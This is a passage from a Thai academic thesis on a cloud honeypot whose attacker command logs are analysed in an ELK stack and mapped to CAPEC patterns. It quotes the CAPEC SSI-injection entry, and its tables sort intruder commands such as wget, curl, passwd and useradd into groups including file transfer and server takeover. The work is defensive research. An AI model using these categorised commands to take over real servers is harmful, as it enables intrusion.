ภาพที่ 3 ภาพรวมการท างานของฮันนีพอต [4] 
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2.1.4 อีแอลเคสแต็ก 

อีแอลเคสแต็ก (ELK Stack) [5] เป็นรัสพจน์ (Acronym) หรือค าย่อของ Elasticsearch 

Logstash และ Kibana อีแอลเคเป็นซอฟต์แวร์โอเพนซอร์สที่พัฒนาโดย Elastic ซึ่งอีแอลเคสแต็ก 

[6] ถูกออกแบบมาให้แต่ละส่วนสามารถท างานร่วมกัน ท าหน้าที่เป็นระบบจัดเก็บข้อมูล ระบบ

จัดเรียงข้อมูล และระบบแสดงผลข้อมูล ดังแสดงในภาพที่ 4 

• Elasticsearch เป็นระบบฐานข้อมูลแบบโนเอสคิวแอล (NoSQL) ท าหน้าที่ในการรับ

และจัดเก็บข้อมูลต่าง ๆ ที่เกิดข้ึน เพื่อน ามาค้นหา วิเคราะห์ รวมถึงสามารถเข้าถึงข้อมูลได้แบบทันที 

• Logstash เป็นเครื่องมือในการรวบรวม แยกแยะ แปลงข้อมูล ก่อนท าการจัดเก็บข้อมูล

เข้าสู่ระบบฐานข้อมูล ประกอบไปด้วยส่วนของข้อมูลน าเข้า คือส่วนของการรับข้อมูลเข้ามาในรูปแบบ

ต่าง ๆ ส่วนของการจัดรูปแบบ คือส่วนที่ใช้ในการแปลงข้อมูล และส่วนของข้อมูลส่งออก คือส่วนที่ส่ง

ต่อข้อมูลไปยัง Elasticsearch  

• Kibana เป็นส่วนที่ติดต่อกับผู้ใช้งานช่วยในการจัดการกับข้อมูล รวมถึงท าหน้าที่ในการ

แสดงผล (Dashboard) โดยน าข้อมูลต่าง ๆ มาแสดงในรูปแบบที่เข้าใจง่าย เช่น กราฟ หรือ ต าแหน่ง

ภูมิศาสตร์ เพื่อให้สามารถวิเคราะห์ข้อมูลต่าง ๆ ได้อย่างสะดวกและรวดเร็ว 

 

ภาพที่ 4 องค์ประกอบพื้นฐานของอีแอลเคสแต็ก [5] 

ในปัจจุบันมีงานวิจัยจ านวนมาก [6, 7, 8, 9] น าอีแอลเคสแต็กมาใช้เป็นโซลูชันส าหรับการ

จัดเก็บข้อมูล จัดรูปแบบข้อมูล และการวิเคราะห์ข้อมูล 

2.1.5 ปกป้องสินทรัพย์เทคโนโลยีในองค์กร 

ปกป้องสินทรัพย์เทคโนโลยีในองค์กร [10] แม้องค์กรจะมีระบบรักษาความปลอดภัยที่มี

ประสิทธิภาพ แต่ยังคงต้องมีการพัฒนาโครงสร้างพื้นฐานที่มีความปลอดภัยตามขนาดและขอบเขต

ขององค์กร เมื่อองค์กรเติบโตข้ึน ความต้องการพัฒนาการบริการความปลอดภัยย่อมต้องเพิ่มข้ึนด้วย 
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เช่น เมื่อองค์กรขยายตัวเพิ่มข้ึน การท าธุรกรรมทางอิเล็กทรอนิกส์ใดๆ ย่อมต้องมีการด าเนินการเพื่อ

ท าให้ระบบได้รับความน่าเช่ือถือ และมีความปลอดภัยในการติดต่อกับบุคคล รวมถึงติดต่อกับองค์กร

ภายนอก ต้องมีการน าเทคโนโลยีทางด้านความปลอดภัยเข้ามาช่วย เช่น Public Key Infrastructure 

( PKI ) เป็นการรวมกันของซอฟต์แวร์ระบบต่างๆ เช่น การสร้างรหัสลับ และ การสร้างข้อตกลงทาง

กฎหมายเพื่อสนับสนุนโครงสร้างพื้นฐานข้อมูลทั้งหมดขององค์กร ดังนั้น หากเครือข่ายขององค์กรมี

การขยายตัวควรจะมีการพัฒนาทางด้านความปลอดภัยให้เหมาะกับความต้องการด้วย เพราะบาง

กรณี องค์กรมีความต้องการที่มากกว่าระบบรักษาความปลอดภัยที่มีอยู่ เนื่องจากโอกาสที่เพิ่มข้ึนของ

ความเสี่ยงต่อการเกิดภัยคุกคาม หรือ การถูกจู่โจมเข้าสู่ระบบ ตารางที่ 1 แสดงตัวอย่างประเภทของ

ภัยคุกคาม และตัวอย่างของภัยคุกคามที่พบได้ หากองค์กรไม่มีการจัดสร้างนโยบายที่ดีพอและการ

พัฒนาแนวปฏิบัติที่เป็นเลิศ (Best Practices) มาควบคุม 

ตารางที่ 1 ตัวอย่างประเภทของภัยคุกคาม [10] 

 

2.1.6 ไวรัสโททอล 

ไวรัสโททอล (VirusTotal) [11] เป็นบริการสาธารณะที่เรียกว่า แซนด์บ็อกซ์ (Sandbox) 

ท าหน้าที่ในการสร้างสภาวะแวดล้อมจ าลองส าหรับวิเคราะห์ไฟล์หรือยูอาร์แอล (URL) ต้องสงสัยว่า
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มีมัลแวร์ เช่น ไวรัส โทรจัน เวิร์ม และอื่น ๆ  แฝงตัวอยู่หรือไม่ โดยอ้างอิงจากฐานข้อมูลออนไลน์ขนาด

ใหญ่ของการติดไวรัสที่พบก่อนหน้า 

ในส่วนของการใช้งาน ผู้ใช้สามารถอัปโหลดไฟล์ผ่านทางหน้าเว็บบนเบราว์เซอร์หรือ
เรียกใช้งานผ่านทางเอพีไอ (API) ซึ่งไวรัสโททอลจะท าการตรวจสอบไฟล์โดยใช้โปรแกรมสแกนแอนติ
ไวรัสและบริการแบล็กลิสต์ยูอาร์แอล/ที่อยู่โดเมน (URL/Domain Blacklisting) รวมกว่า 70 รายการ
ที่ผ่านการท าแซนด์บ็อกซ์เพื่อค้นหาว่าไฟล์เหล่าน้ันเป็นมัลแวร์หรือไม่ 

2.1.7 คาเปก 

คาเปก (CAPEC: Common Attack Pattern Enumeration and Classification) [12] 

คือ แหล่งจัดเก็บและรวบรวมข้อมูลของลักษณะรูปแบบในการโจมตี คาเปกอยู่ภายใต้การก ากับ

ควบคุมและดูแลจากกระทรวงความมั่นคงแห่งมาตุภูมิ (Department of Homeland Security) ของ

ประเทศสหรัฐอเมริกา ซึ่งคาเปกได้มีการรวบรวมข้อมูลและจัดรูปแบบการโจมตี รวมถึงมีการอธิบาย

ส่วนต่าง ๆ ของแต่ละรูปแบบการโจมตี เช่น รูปแบบในการออกแบบที่ใช้โจมตี เป้าหมายในการโจมตี 

ฯลฯ ตัวอย่างรายละเอียดการโจมตีคาเปก ดังตารางที่ 2 โดยคาเปกได้รวบรวมข้อมูลที่เป็นประโยชน์

เหล่าน้ีเพื่อให้นักพัฒนา นักศึกษา นักวิชาการ รวมถึงผู้ที่สนใจทุกคน ให้สามารถน าข้อมูลเหล่านี้ไป

วิเคราะห์ต่อยอดเพื่อน ามาพัฒนางานด้านความปลอดภัยให้ดีย่ิงข้ึน 

ตารางที่ 2 ตัวอย่างรายละเอียดการโจมตีคาเปก [12] 
Topic Detail 
CAPEC ID CAPEC-101 
Name Server Side Include (SSI) Injection 
Description An attacker can use Server Side Include (SSI) Injection to 

send code to a web application that then gets executed 
by the web server. Doing so enables the attacker to 
achieve similar results to Cross Site Scripting, viz., arbitrary 
code execution and information disclosure, albeit on a 
more limited scale, since the SSI directives are nowhere 
near as powerful as a full-fledged scripting language. 
Nonetheless, the attacker can conveniently gain access to 
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Topic Detail 
sensitive files, such as password files, and execute shell 
commands. 

Likelihood Of Attack High 
Typical Severity High 
Domains of Attack Software 
Mechanisms of Attack Inject Unexpected Items 
Skills Required [Level: Medium] 

The attacker needs to be aware of SSI technology, 
determine the nature of injection and be able to craft 
input that results in the SSI directives being executed. 

Resources Required None 
Consequences Confidentiality: Execute 

Integrity: Unauthorized 
Availability: Commands 

Mitigations Set the OPTIONS IncludesNOEXEC in the global 
access.conf file or local .htaccess (Apache) file to deny SSI 
execution in directories that do not need them 
All user controllable input must be appropriately 
sanitized before use in the application. This includes 
omitting, or encoding, certain characters or strings that 
have the potential of being interpreted as part of an SSI 
directive 
Server Side Includes must be enabled only if there is a 
strong business reason to do so. Every additional 
component enabled on the web server increases the 
attack surface as well as administrative overhead 

Example Instances Consider a website hosted on a server that permits Server 
Side Includes (SSI), such as Apache with the "Options 
Includes" directive enabled. 
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Topic Detail 
Whenever an error occurs, the HTTP Headers along with 
the entire request are logged, which can then be 
displayed on a page that allows review of such errors. A 
malicious user can inject SSI directives in the HTTP 
Headers of a request designed to create an error. 
When these logs are eventually reviewed, the server 
parses the SSI directives and executes them. 

Related Weaknesses CWE-ID: 97, 74, 20, 713 

2.2 งานวิจัยท่ีเกี่ยวข้อง 

2.2.1 Network security enhancement through effective log analysis using ELK 

ในปี 2017 Al-Mahbashi และคณะ ได้น าเสนองานวิจัย [13] เกี่ยวกับการพัฒนาความ

ปลอดภัยของเครือข่ายผ่านการวิเคราะห์บันทึกจัดเก็บข้อมูลจราจรโดยใช้อีแอลเค เนื่องจากภัย

คุกคามเป็นภัยที่อันตรายมากส าหรับทุก ๆ องค์กร เพราะจะท าให้องค์กรเกิดความเสียหาย จึงต้องจัด

เตรียมการป้องกันเพื่อรักษาความปลอดภัยให้กับองค์กร ในบทความนี้มุ่งเน้นไปที่ภัยคุกคามเครือข่าย

ภายในที่ส่งผลกระทบต่อความปลอดภัยของเครือข่ายทั้งหมด โดยเริ่มต้นจากการวิเคราะห์บันทึก

จัดเก็บข้อมูลเครือข่ายจราจรเพื่อช่วยในการค้นหาช่องโหว่ของระบบป้องกันที่ มีอยู่เดิม ส าหรับการ

วิเคราะห์หาช่องโหว่ที่อาจท าให้เกิดภัยคุกคามในงานวิจัยนี้ได้น าอีแอลเคสแต็กมาใช้ในการจัดเก็บ

รวบรวมบันทึกข้อมูลจราจรเครือข่าย รวมถึงน ามาวิเคราะห์เพื่อหาช่องโหว่ของเครือข่ายภายใน 

หลังจากการน าข้อมูลมาวิเคราะห์โดยใช้อีแอลเคสแต็ก ท าให้พบว่ามีช่องโหว่มากกว่าหนึ่ง

ภายในเครือข่าย แสดงให้เห็นว่าการป้องกันที่มียังไม่ดีอย่างที่ควรจะเป็น เนื่องจากพบช่องโหว่ที่ท าให้

ผู้โจมตีสามารถเข้าถึงเครือข่ายภายในได้ โดยเริ่มจากผู้โจมตีท าการหลีกเลี่ยงการเข้าถึงพอร์ทัลของ

เครือข่ายภายใน ท าให้ไม่สามารถระบุตัวตนของผู้ใช้งานได้ อีกทั้งยังแสดงให้เห็นว่าการป้องกันที่มีไม่

สามารถควบคุมการเข้า/ออกภายในเครือข่ายได้ ซึ่งช่องโหว่ดังกล่าวอาจน าไปสู่ภัยคุกคามที่ก่อให้เกิด

ความเสียหายต่อองค์กร ส าหรับงานในอนาคตคือท าการวิเคราะห์และทดลองเพื่อค้นหาช่องโหว่

เพิ่มเติมและท าการแก้ไขก่อนที่จะส่งผลกระทบต่อเครือข่ายภายในองค์กร 
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2.2.2 Geo-identification of web users through logs using ELK stack 

ในปี 2016 Prakash และคณะ ได้น าเสนองานวิจัย [14] เกี่ยวกับการระบุต าแหน่งทาง

ภูมิศาสตร์ของผู้ใช้งานเว็บเซิร์ฟเวอร์ผ่านการเก็บบันทึกข้อมูลจราจรคอมพิวเตอร์โดยใช้อแีอลเคสแตก็ 

เนื่องจากปัจจุบันมีผู้ใช้งานเว็บเซิร์ฟเวอร์จ านวนมาก ซึ่งท าให้ระบบมีการจัดเก็บข้อมูลจราจร

คอมพิวเตอร์มากตามไปด้วย และเมื่อมีข้อมูลการเก็บบันทึกจ านวนมากท าให้เป็นไปได้ยากที่จะน า

ข้อมูลทั้งหมดมาวิเคราะห์ ในงานวิจัยนี้จึงน าเสนอซอฟต์แวร์โอเพนซอร์สที่มีช่ือว่าอีแอลเคสแต็กซึ่ง

ประกอบไปด้วย Elasticsearch Logstash และ Kibana มาช่วยในการการค้นหาและวิเคราะห์ข้อมูล

จราจรคอมพิวเตอร์ 

งานวิจัยนี้ได้สรุปว่า อีแอลเคสแต็กเป็นซอฟต์แวร์โอเพนซอร์สที่มีประโยชน์อย่างมาก 

เนื่องจากสามารถน าบันทึกจัดเก็บข้อมูลจราจรเครือข่ายจ านวนมากมาท าการวิเคราะห์ได้อย่าง

ง่ายดาย อีกทั้งยังสามารถก าหนดรูปแบบของการแสดงผลผ่านทางหน้าจอต่อประสานผู้ใช้ (GUI) ได้ 

ภาพที่ 3 แสดงกราฟแผนที่ (GEO Map) ระบุต าแหน่งทางภูมิศาสตร์ที่แสดงจ านวนผู้ใช้งานจาก

ประเทศต่าง ๆ และมีการแสดงระดับสีที่แตกต่างกันบนแผนที่ ท าให้ทราบถึงจ านวนสูงสุดและต่ าสุด

ของการเข้าเว็บเซิร์ฟเวอร์ว่ามาจากประเทศใดบ้าง ท าให้สามารถวิเคราะห์บันทึกจัดเก็บข้อมูลจราจร

เครือข่ายได้ง่ายข้ึน 

 

ภาพที่ 5 แผนทีร่ะบุต าแหน่งทางภูมิศาสตรส์ร้างจากบันทึกจัดเกบ็ข้อมลูจราจรเครือข่าย [14] 
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บทที่ 3  
แนวคิดและวิธีวิจัย 

ในบทนี้ได้กล่าวถึงแนวคิดและวิธีวิจัย โครงสร้างการท างานของระบบ การรวบรวมรูปแบบ

การโจมตี วัตถุประสงค์ของค าสั่งการโจมตี และการจับคู่ค าสั่งการโจมตีกับรูปแบบการโจมตีคาเปก

เพื่อน ามาประเมินความเสี่ยง โดยมีรายละเอียดดังต่อไปนี้ 

3.1 ภาพรวมแนวคิดและวิธีวิจัย 

งานวิจัยนี้น าเสนอแนวทางในการพัฒนาการปฏิบัติงานด้านความปลอดภัยองค์กร เริ่มจากการ

ออกแบบระบบโดยการสร้างเทคโนโลยีคอมพิวเตอร์เสมือน (Virtual Machine) ที่จ าลองคอมพิวเตอร์

ข้ึนมาให้สามารถใช้ซอฟต์แวร์เพื่อจ าลองการท างานของคอมพิวเตอร์ ภายในคอมพิวเตอร์เสมือน

ติดตั้งระบบปฏิบัติการยูนิกซ์ (Unix) / ลินุกซ์ (Linux) ที่พัฒนาอยู่บนกูเกิลคลาวด์แพลตฟอร์ม 

(Google Cloud Platform) โดยระบบที่พัฒนาข้ึนมุ่งเน้นการเก็บรวบรวมข้อมูลและพฤติกรรมการใช้

งานภายในระบบของผู้บุกรุก น ามาจ าแนก วิเคราะห์ และหารูปแบบการโจมตีต่าง ๆ เพื่อน าผลลัพธ์ที่

ได้มาสนับสนุนนโยบายในการพัฒนาการปฏิบัติงานด้านความปลอดภัยให้ดีย่ิงข้ึน 

ผู้บุกรุก (Attacker) หรือแฮคเกอร (Hacker) คือ ผู้ที่พยายามลักลอบเข้าสู่ระบบด้วยวัตถุประสงค์

ต่าง ๆ ที่ล้วนก่อให้เกิดความเสียหาย เช่น เพื่อการโจรกรรมข้อมูล การแสวงหาผลก าไร หรือความ

ต้องการอื่น ๆ ส่วนบุคคล โดยที่ไม่ได้รับอนุญาตในการเข้าใช้งานระบบ 

โครงสร้างการท างานของระบบ ประกอบด้วยส่วนประกอบหลัก ได้แก่ 

ฮันนีพอตเซิร์ฟเวอร์ (Honeypot Server) คือ เซิร์ฟเวอร์ที่ใช้ในการรวบรวมข้อมูลบันทึกจัดเก็บ 

จากพฤติกรรมการใช้งานของผู้บุกรุกที่เข้ามาโจมตีเครื่องเซิร์ฟเวอร์ ภายในฮันนีพอตเซิร์ฟเวอร์มีการ

สร้างเชลล์สคริปต์ (Shell Script) ข้ึนมาจ านวน 5 เชลล์สคริปต์ ซึ่งแต่ละเชลล์สคริปต์จะมีหน้าที่ใน

การท างานแตกต่างกันออกไปเพื่อควบคุมการท างานทั้งหมดภายในระบบ 

รีพอร์ตเซิร์ฟเวอร์ (Report Server) คือ เซิร์ฟเวอร์ที่ใช้ในการเก็บรวบรวมข้อมูลที่ส่งต่อมาจาก

ฮันนีพอตเซิร์ฟเวอร์ โดยการน าข้อมูลดังกล่าวมาจ าแนก จัดรูปแบบข้อมูล จากนั้นส่งต่อไปเก็บที่พื้นที่

ในการจัดเก็บข้อมูล (Storage) เพื่อน าข้อมูลที่ผ่านการจัดรูปแบบแล้วมาวิเคราะห์และแสดงผลผ่าน

การท าจินตทัศน์ข้อมูล (Data Visualization) เช่น กราฟ หรือแผนภูมิแบบต่างๆ ที่ช่วยให้สามารถ

เข้าใจข้อมูลเชิงลึกมากยิ่งขึ้น 
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3.2 ภาพรวมการท างานระบบ 

 

ภาพที่ 6 ภาพรวมการท างานของระบบ 
จากภาพที่ 6 สามารถอธิบายกระบวนการท างานของระบบได้ดังต่อไปนี้ 

ข้ันตอนที่ 1. การเก็บรวบรวมและจ าแนกพฤติกรรมการโจมตี 

การเก็บรวบรวมข้อมูลจากพฤติกรรมการใช้งานของผู้บุกรุกที่เข้ามาโจมตีเครื่องเซิร์ฟเวอร์ โดยใช้

ฮันนีพอตเป็นซอฟต์แวร์ในการจัดเก็บข้อมูลให้อยู่ในรูปของข้อมูลบันทึกจัดเก็บ (Log) เพื่อน าข้อมูลที่

ไดม้าวิเคราะห์ และจ าแนกกลุ่มของค าสั่งการโจมตีผ่านเชลล์สคริปต์ที่สร้างขึ้น 

ข้ันตอนที่ 2. การน าส่งและแสดงผลข้อมูลบันทึกจัดเก็บ 

น าส่งข้อมูลบันทึกจัดเก็บไปที่เครื่องรีพอร์ตเซิร์ฟเวอร์ และท าการจัดรูปแบบข้อมูล เปลี่ยนแปลง

ข้อมูลให้อยู่ในรูปแบบที่มีโครงสร้าง เพื่อน าไปวิเคราะห์และแสดงผล 

ข้ันตอนที่ 3. การแจ้งเตือน 

ระบบจะท าการแจ้งเตือนไปที่ผู้ดูแลระบบ โดยแบ่งเป็น 2 กรณี คือ 1.แจ้งเตือนเมื่อพบผู้บุกรุก

เข้าสู่ระบบส าเร็จ และ 2.แจ้งเตือนเมื่อพบค าสั่งการโจมตีใหม่ เพื่อให้ผู้ดูแลระบบท าการตรวจสอบ 

และน าไปพัฒนาระบบรักษาความปลอดภัยที่มีอยู่ให้ดีย่ิงข้ึน 
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3.3 รวบรวมค าสั่งการโจมตี 

เริ่มจากผู้วิจัยท าการตั้งค่าระบบให้ผู้บุกรุกสามารถเข้าสู่ระบบได้อย่างง่ายดาย โดยก าหนดให้เข้า

สู่ระบบด้วยช่ือผู้ใช้และรหัสผ่านอะไรก็ได้ จากนั้นท าการเก็บรวบรวมข้อมูลบันทึกจัดเก็บค าสั่งการ

โจมตีให้ได้มากที่สุด และน าไปจ าแนกกลุ่มของค าสั่ง เพื่อจัดท าเป็นไฟล์กฎหรือไฟล์ต้นแบบในการ

จ าแนกประเภทของกลุ่มการโจมตีผ่านทางเชลล์สคริปต์ ท าให้ระบบหลังการพัฒนาสามารถจ าแนก

กลุ่มของค าสั่งการโจมตี และท าการแจ้งเตือนอัตโนมัติไปที่ผู้ดูแลระบบ โดยในการจ าแนกประเภท

กลุ่มของรูปแบบการโจมตีได้ผ่านการตรวจทานจากผู้เช่ียวชาญด้านความมั่นคงของระบบเทคโนโลยี

สารสนเทศ 

ภายหลังจากการจัดท าไฟล์กฏการจ าแนกประเภทค าสั่งการโจมตี จึงท าการพัฒนาระบบที่

สมบูรณ์ โดยมีการก าหนดช่ือผู้ใช้และรหัสผ่านในการเข้าสู่ระบบที่รัดกุมมากข้ึน รายละเอียดการ

ก าหนดโครงแบบแสดงดังภาคผนวก ข 

จากการเปิดให้ผู้รุกบุกเข้าสู่ระบบด้วยช่ือผู้ใช้และรหัสผ่านใดๆ ท าให้รวบรวมค าสั่งการโจมตีได้

ทั้งหมด 6,847 ค าสั่ง ซึ่งสามารถแบ่งกลุ่มตามวัตถุประสงค์ของการโจมตีออกเป็น 5 กลุ่ม และอีก 2 

กลุ่มที่เป็นค าสั่งผิดพลาด และค าสั่งใหม่ที่ไม่เคยพบ กล่าวคือ 

1. กลุ่มค าสั่งเพื่อค้นถามสารสนเทศ (Query Information) 

Query Information เป็นกลุ่มของค าสั่งที่ผู้บุกรุกใช้ในการค้นถามเพื่อเรียกดูข้อมูลต่าง ๆ  ภายใน

ระบบ ตัวอย่างค าสั่งดังแสดงในตารางที่ 3 

ตารางที่ 3 ตัวอย่างกลุม่ค าสั่งเพื่อค้นถามสารสนเทศ 
ค าสั่ง ค าอธิบาย 

ls ค าสั่งแสดงข้อมลูภายในไดเรกทอร ี
pwd ค าสั่งแสดงไดเรกทอรีหรือต าแหนง่ที่อยูป่ัจจุบัน 
ping ค าสั่งตรวจสอบสถานะเซริ์ฟเวอร์ปลายทาง 
cd ค าสั่งใช้ในการเปลี่ยนที่อยู่ไดเรกทอร ี
who ค าสั่งแสดงข้อมลูผู้ใช้งานทีเ่ข้าสูร่ะบบขณะนั้น 
wc ค าสั่งนับจ านวนค าและบรรทัดจากไฟล ์
gawk ค าสั่งใช้ในค้นหาข้อมูลข้อความ 
ps ค าสั่งแสดงกระบวนการที่ท างานในเซริ์ฟเวอร์ 
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ค าสั่ง ค าอธิบาย 
grep ค าสั่งค้นหาบรรทัดในไฟลท์ี่ตรงเงือ่นไข 
groups ค าสั่งแสดงข้อมลูกลุม่ของผู้ใช้งานระบบ 
cat แสดงผลข้อมลูภายในไฟล์ในรปูแบบข้อความ 
logname ค าสั่งแสดงช่ือผู้ใช้งานทีเ่ข้าสูร่ะบบ 
nl ค าสั่งแสดงเลขที่บรรทัดของข้อมลูในไฟล ์
top ค าสั่งจัดเรียงอันดับแสดงการท างานของกระบวนการ 
free ค าสั่งแสดงข้อมลูการใช้งานหน่วยความจ า 
locate ค าสั่งใช้ในการค้นหาไฟล์หรือไดเรกทอร ี
find ค าสั่งใช้ในการค้นหาไฟล์หรือไดเรกทอร ี
more ค าสั่งอ่านข้อมลูและค้นหาข้อมลูในไฟล ์
history ค าสั่งเรียกดูค าสัง่ทีเ่คยใช้งานมาทั้งหมด 
egrep ค าสั่งค้นหาบรรทัดในไฟลท์ี่ตรงเงือ่นไข 
printf ค าสั่งแสดงผลข้อมลูบนหน้าจอ 
dir ค าสั่งแสดงข้อมลูไดเรกทอร ี
head ค าสั่งแสดงข้อมลูส่วนต้นของไฟล ์
tail ค าสั่งแสดงข้อมลูส่วนท้ายของไฟล ์
whoami ค าสั่งแสดงช่ือผู้ใช้งานที่ใช้เข้าสู่ระบบ 
w ค าสั่งแสดงผู้ใช้งานทีเ่ข้าสูร่ะบบรวมถงึค าสั่งที่ใช้งาน 
iptables ค าสั่งในการจัดการกรองไอพีพอร์ตทีเ่ข้ามาใช้งาน 
netstat ค าสั่งแสดงสถานะการเช่ือมต่อของเครือข่ายทัง้หมด 
exit ค าสั่งออกจากระบบ 
hostname ค าสั่งแสดงช่ือเครื่องที่ใช้งาน 

2. กลุ่มค าสั่งเพื่อติดตั้ง (Attempt to install) 

Attempt to install เป็นกลุ่มของค าสั่งที่ผู้บุกรุกน ามาใช้เพื่อพยายามท าการติดตั้งเครื่องมือ ซึ่ง

เครื่องมือดังกล่าวอาจเป็นเครื่องมือที่ไม่ได้รับการอนุญาต ตัวอย่างค าสั่งดังแสดงในตารางที่ 4 
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ตารางที่ 4 ตัวอย่างกลุม่ค าสั่งเพื่อติดตั้ง 
ค าสั่ง ค าอธิบาย 

yum ค าสั่งในการติดตัง้ อัปเกรด โปรแกรมหรืออปุกรณ์ต่าง ๆ 
apt-get ค าสั่งในการติดต้ัง อัปเกรด โปรแกรมหรืออปุกรณ์ต่าง ๆ 
rpm ค าสั่งในการติดตัง้ อัปเกรด โปรแกรมหรืออปุกรณ์ต่าง ๆ 
gzip ค าสั่งบบีอัดข้อมลูไฟล ์
gunzip ค าสั่งยกเลิกการบีบอัดข้อมูลไฟล ์
split ค าสั่งแตกไฟล์ตามจ านวนบรรทัด 
tar ค าสั่งจัดเก็บรวบรวมไฟล์ข้อมูล 
mount ค าสั่งติดตั้งใช้งานอปุกรณ์ทีเ่ช่ือมต่อ 

 

3. กลุ่มค าสั่งเพื่อโอนย้ายไฟล์ (Transfer Files) 

Transfer Files เป็นกลุ่มของค าสั่งที่ผู้บุกรุกใช้ในการคัดลอก เคลื่อนย้าย หรือโหลดไฟล์ลงมาที่

ระบบ ตัวอย่างค าสั่งดังแสดงในตารางที่ 5 

ตารางที่ 5 ตัวอย่างกลุม่ค าสั่งเพื่อโอนย้ายไฟล ์
ค าสั่ง ค าอธิบาย 

cp ค าสั่งคัดลอกไฟลห์รือไดเรกทอร ี
mv ค าสั่งย้ายต าแหน่งไฟล์หรือไดเรกทอร ี
rcp ค าสั่งคัดลอกไฟล์ข้ามเครื่องเซริ์ฟเวอร์ 
wget ค าสั่งดาวน์โหลดไฟลจ์ากเว็บไซต ์
curl ค าสั่งในการรับ/ส่งข้อมูลจากเซิรฟ์เวอร์ผ่านโปรโตคอล 
scp ค าสั่งคัดลอกไฟล์ข้อมลูแบบเข้ารหสัความปลอดภัย 

 

4. กลุ่มค าสั่งเพื่อเปลี่ยนแปลงโครงแบบ (Change Configuration) 

Change Configuration เป็นกลุ่มของค าสั่งที่ผู้บุกรุกใช้ในการเปลี่ยนแปลงค่า แก้ไขไฟล์หรือ

ข้อมูลต่าง ๆ ภายในระบบ ตัวอย่างค าสั่งดังแสดงในตารางที่ 6 
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ตารางที่ 6 ตัวอย่างกลุม่ค าสั่งเพื่อเปลี่ยนแปลงโครงแบบ 
ค าสั่ง ค าอธิบาย 

rm ค าสั่งลบไฟลห์รอืไดเรกทอร ี
sed ค าสั่งเปลี่ยนแปลงข้อมลูข้อความที่มรีูปแบบซบัซ้อน 
echo ค าสั่งในการแสดงผลบนหน้าจอ 
iptables -A ค าสั่งการเพิม่กฎในไฟร์วอลล ์
vi ค าสั่งในการสร้างหรือแก้ไขไฟล์ข้อมูล 
vim ค าสั่งในการสร้างหรือแก้ไขไฟล์ข้อมูล 
nano ค าสั่งในการสร้างหรือแก้ไขไฟล์ข้อมูล 
ed ค าสั่งในการแก้ไขข้อมูลไฟล์ชนิดหนึ่ง 
chmod ค าสั่งเปลี่ยนสิทธ์ิในการเข้าถึงไฟล ์
rmdir ค าสั่งลบไดเรกทอร ี
mkdir ค าสั่งสร้างไดเรกทอร ี
mkfile ค าสั่งสร้างไฟล ์
tr ค าสั่งค้นหาและเปลียนแปลงข้อมลู 
ifconfig ค้นหาและเปลียนแปลงข้อมลู 
ln ค าสั่งสร้างลิงก์เช่ือมโยงกันระหว่างไฟล ์

 

5. กลุ่มค าสั่งเพื่อยึดครองเซิร์ฟเวอร์ (Taking Over the Server) 

Taking Over the Server เป็นกลุ่มของค าสั่งที่ผู้บุกรุกใช้ในการเปลี่ยนแปลง แก้ไขรหัสผ่าน หรือ

ข้อมูลผู้ใช้งานในส่วนต่างๆ รวมถึงเข้ายึดครองเครื่องและระบบ ตัวอย่างค าสั่งดังแสดงในตารางที่ 7 

ตารางที่ 7 ตัวอย่างกลุม่ค าสั่งเพื่อยึดครองเซิรฟ์เวอร ์
ค าสั่ง ค าอธิบาย 

usermod ค าสั่งเปลี่ยนแปลงข้อมลูของผู้ใช้งาน 
passwd ค าสั่งเปลี่ยนรหสัผ่านของผู้ใช้งานระบบ 
sudo ค าสั่งกระท าในสิทธิของผู้ใช้สูงสุด 
su ค าสั่งการเข้าสูร่ะบบด้วยรหัสช่ือผู้ใช้อื่น 
useradd ใช้เพิ่มหรือเปลี่ยนแปลงผู้ใช้งาน 
userdel ค าสั่งลบผู้ใช้งานออกจากระบบ 
chfin ค าสั่งก าหนดข้อมูลของผู้ใช้งาน 
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6. กลุ่มค าสั่งที่ผิดพลาด (Error Case) 

Error Case เป็นกลุ่มของค าสั่งที่ผิดพลาด การพิมพ์ หรือการสะกดค าสั่งผิด ตัวอย่างค าสั่งดัง

แสดงในตารางที่ 8 

ตารางที่ 8 ตัวอย่างกลุม่ค าสั่งที่ผิดพลาด 
ค าสั่ง ค าอธิบาย 

la ไม่มีความหมาย 
wger ไม่มีความหมาย 
nani ไม่มีความหมาย 
iptalbes ไม่มีความหมาย 
gree ไม่มีความหมาย 
chmid ไม่มีความหมาย 

จากตารางที่ 8 พบว่า ค าสั่งที่ไม่มีความหมาย ส่วนใหญ่เป็นค าสั่งที่มีลักษณะคล้ายกับบางค าสั่ง

ของผู้บุกรุก เช่น ค าสั่ง la คล้ายกับค าสั่ง ls เป็นค าสั่งแสดงข้อมูลภายในไดเรกทอรี หรือค าสั่ง nani 

ที่คล้ายกับ nano ซึ่งเป็นค าสั่งที่ใช้ในการสร้างหรือแก้ไขไฟล์ข้อมูล จากการสันนิษฐานพบว่าเนื่องด้วย

ต าแหน่งแป้นพิมพ์ของตัวอักษรที่ใกล้กันจึงอาจท าให้เกิดความผิดพลาดในการพิมพ์ค าสั่งได้ 

7. กลุ่มค าสั่งใหม่ที่ไม่เคยพบ (New Case) 

New Case เป็นกลุ่มของค าสั่งใหม่ที่ระบบไม่เคยพบมาก่อน 

3.4 วัตถุประสงค์ค าสั่งการโจมตี 

ค าสั่งการโจมตีที่พบในแต่ละกลุ่มจะถูกน ามาวิเคราะห์หาวัตถุประสงค์ของค าสั่ง เพื่อท าการจับคู่

กับการโจมตีคาเปก โดยน ามาวิเคราะห์เฉพาะค าสั่งใน 5 กลุ่มแรก เนื่องจากกลุ่มที่ 6 เป็นกลุ่มค าสั่งที่

ผิดพลาดไม่ส่งผลกระทบใด ๆ ต่อระบบ และกลุ่มที่ 7 เป็นกลุ่มค าสั่งใหม่ที่คอยรวบรวมค าสั่งที่ไม่เคย

พบ และท าการแจ้งเตือนไปที่ผู้ดูแลระบบให้น าค าสั่งใหม่ที่พบมาจ าแนกเข้า 6 กลุ่มข้างต้น 

จากการวิเคราะห์หาวัตถุประสงค์ของค าสั่งการโจมตี ตรวจพบว่ามี 24 ค าสั่ง ที่มีวัตถุประสงค์ใน

การโจมตีใกล้เคียงกับวัตถุประสงค์การโจมตีที่ระบุไว้ในคาเปก (CAPEC) ในงานวิจัยนี้ไม่น าค าสั่งการ

โจมตีที่จัดอยู่ในหมายเลขการโจมตีคาเปกเดียวกันมาวิเคราะห์ซ้ า รายละเอียดดังตารางที่ 9 
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ตารางที่ 9 รายละเอียดค าสัง่การโจมตีอันตราย 
กลุ่ม ค าสั่งการโจมต ี วัตถุประสงค ์

